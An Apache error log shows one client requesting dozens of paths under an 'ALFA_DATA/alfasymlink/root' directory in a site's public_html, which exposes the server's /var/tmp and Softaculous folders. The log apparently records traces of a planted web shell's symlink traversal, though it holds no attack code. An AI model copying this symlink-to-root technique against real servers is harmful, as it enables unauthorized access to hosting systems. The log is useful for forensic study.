[Sun Oct 25 14:27:03.773097 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:27:03.773121 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:27:03.773144 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:27:03.773168 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:27:03.773220 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:27:03.773245 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:27:03.773265 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:27:03.773287 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sun Oct 25 14:27:03.773307 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:27:03.773326 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:27:03.773345 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:27:03.773364 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:27:03.773393 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:27:03.773418 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:27:03.773465 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:27:03.773534 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:27:03.773568 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:27:03.773623 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:27:03.773629 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/leafpub/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.773672 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:27:03.773696 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:27:03.773748 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:27:03.773757 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/procwire/
[Sun Oct 25 14:27:03.773772 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:27:03.773796 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:27:03.773827 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:27:03.773857 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:27:03.773880 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:27:03.773901 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fGFl3Hs6F6/' is executable
[Sun Oct 25 14:27:03.773937 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:27:03.773969 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:27:03.773992 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:27:03.774015 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:27:03.774046 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:27:03.774077 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:27:03.774096 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp51/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.774098 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:27:03.774120 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:27:03.774140 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:27:03.774161 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:27:03.774186 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:27:03.774243 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:27:03.774284 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:27:03.774307 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:27:03.774336 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:27:03.774379 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:27:03.774400 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:27:03.774427 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:27:03.774447 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:27:03.774492 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:27:03.774522 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:27:03.774556 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:27:03.774582 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:27:03.774602 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:27:03.774622 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7SsEHkh7b7/' is executable
[Sun Oct 25 14:27:03.774676 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:27:03.774700 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:27:03.774723 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:27:03.774744 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:27:03.774764 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:27:03.774794 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:27:03.774826 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/DRWsFfNFOJ/' is executable
[Sun Oct 25 14:27:03.774849 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/p_Vpg5SIle/' is executable
[Sun Oct 25 14:27:03.774869 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:27:03.774891 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:27:03.774937 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:27:03.776108 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp56/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.785326 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/sugar/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.785448 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp62/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.786509 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp70/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.787018 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp58/.htaccess: RewriteBase: argument is not a valid URL
